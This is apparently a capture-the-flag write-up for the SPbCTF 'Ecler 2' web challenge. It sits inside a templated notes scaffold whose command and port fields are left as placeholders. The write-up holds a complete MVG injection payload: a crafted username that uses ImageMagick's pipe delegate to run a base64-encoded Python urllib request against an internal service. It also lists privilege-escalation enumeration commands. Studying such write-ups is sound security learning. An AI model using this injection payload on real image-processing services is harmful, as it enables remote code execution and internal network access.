Ecler 2
Ecler 2
Platform: Spbctf | Category: Web | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2019-11-10 | Status: Solved Techniques: base64_payload_encoding, imagemagick_pipe_delegate, mvg_injection, restricted_user_bypass, ssrf_to_internal_service
Summary
Task: Flask image hosting service with ImageMagick processing and internal Docker service. Solution: MVG injection via unsanitized username to achieve RCE through pipe delegate, bypassing network restrictions with Python urllib to SSRF internal service.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
spbctf| ID:20191110_spbctf_ecler2 - Tags: flask, imagemagick, mvg, ssrf, docker, rce, pipe_delegate
- Indicators: ImageMagick convert command, MVG template with user input, unsanitized username in template, internal Docker service, pipe delegate |command syntax
- Source:
20191110_spbctf_ecler2.md
Foothold
Vulnerability / Misconfiguration
- Base64_payload_encoding
- Imagemagick_pipe_delegate
- Mvg_injection
- Restricted_user_bypass
- Ssrf_to_internal_service
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- base64_payload_encoding
- imagemagick_pipe_delegate
- mvg_injection
- restricted_user_bypass
- ssrf_to_internal_service
- Tags: flask, imagemagick, mvg, ssrf, docker, rce, pipe_delegate
Original Writeup
<details><summary>Click to expand original content</summary>Description
"Eclergram" — an image hosting service ("Only cats and food"). Flask application source code is provided. To get the flag, you need to execute: curl http://flag2/index.php -d "gimme_flag=da" — meaning SSRF/RCE is required to access the internal flag2 service.
URL: https://2019-11-10-ecler.ctf.su/ Source: https://github.com/SPbCTF/bigtraining/blob/master/ecler/service/server.py
Analysis
Vulnerable Code
The Flask application processes uploaded images through ImageMagick convert using an MVG (Magick Vector Graphics) template:
conv_template = """
push graphic-context
viewbox 0 0 640 640
image Add 0,0,640,640 '%s'
push graphic-context
font-size 40
fill 'black'
stroke-width 1
text 32,590 '%s'
pop graphic-context
pop graphic-context
"""
Key vulnerability:
- First
%s— uploaded filename (sanitized viare.sub(r'[^A-Za-z0-9-]',r'','')) - Second
%s— user login — completely unsanitized!
Actual server code (differs from GitHub):
raw_cmd = "su - u_convert -c 'cd /home/ecler && convert %s %s'" %(mvg, user_file)
Restrictions
- The
convertcommand runs as useru_convert(uid=1000) - User
u_converthas no network access — curl/wget don't work - Server files are owned by root — modification is impossible
Solution
Step 1: MVG Injection via username
Register a user with a malicious username that escapes the text command and injects an image Over directive with pipe delegate:
x'
pop graphic-context
push graphic-context
image Over 0,0 0,0 '|<COMMAND>'
push graphic-context
text 0,300 'y
The resulting MVG file becomes valid, while an arbitrary command is executed through ImageMagick's pipe delegate.
Step 2: Reconnaissance via RCE
Confirmed command execution:
# Test file writing touch /home/ecler/images/testtouch.jpg # ✓ # Read configuration cat /home/ecler/server.py > /home/ecler/images/servercode.txt # ✓ # Network configuration cat /etc/hosts # flag2 -> 10.132.8.98
Important discovery: curl and wget don't work from u_convert — no network access!
Step 3: Bypassing Network Restriction via Python
Since curl is blocked, we use Python urllib:
import urllib.request
r = urllib.request.urlopen(urllib.request.Request('http://flag2/index.php', data=b'gimme_flag=da'))
open('/home/ecler/images/pyflag.txt','wb').write(r.read())
Base64-encode and execute via pipe delegate:
|echo aW1wb3J0IHVybGxpYi5yZXF1ZXN0CnIgPSB1cmxsaWIucmVxdWVzdC51cmxvcGVuKHVybGxpYi5yZXF1ZXN0LlJlcXVlc3QoJ2h0dHA6Ly9mbGFnMi9pbmRleC5waHAnLCBkYXRhPWInZ2ltbWVfZmxhZz1kYScpKQpvcGVuKCcvaG9tZS9lY2xlci9pbWFnZXMvcHlmbGFnLnR4dCcsJ3diJykud3JpdGUoci5yZWFkKCkpCg== | base64 -d | python3
Step 4: Getting the Flag
Python urllib successfully executed a POST request to http://flag2/index.php and wrote the flag to /home/ecler/images/pyflag.txt.
File access: https://2019-11-10-ecler.ctf.su/images/pyflag.txt
Full Payload (username)
x'
pop graphic-context
push graphic-context
image Over 0,0 0,0 '|echo aW1wb3J0IHVybGxpYi5yZXF1ZXN0CnIgPSB1cmxsaWIucmVxdWVzdC51cmxvcGVuKHVybGxpYi5yZXF1ZXN0LlJlcXVlc3QoJ2h0dHA6Ly9mbGFnMi9pbmRleC5waHAnLCBkYXRhPWInZ2ltbWVfZmxhZz1kYScpKQpvcGVuKCcvaG9tZS9lY2xlci9pbWFnZXMvcHlmbGFnLnR4dCcsJ3diJykud3JpdGUoci5yZWFkKCkpCg== | base64 -d | python3'
push graphic-context
text 0,300 'y
What Did NOT Work (important for learning)
| Attempt | Result |
|---|---|
| curl/wget from u_convert | No network access |
| Werkzeug debugger PIN | PIN auth exhausted |
| Modifying server.py | Files owned by root |
| su to root | Authentication failure |
| ImageMagick URL protocols (http:, url:) | Don't load content |
| Shell scripts with curl inside | curl still blocked |
| |
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR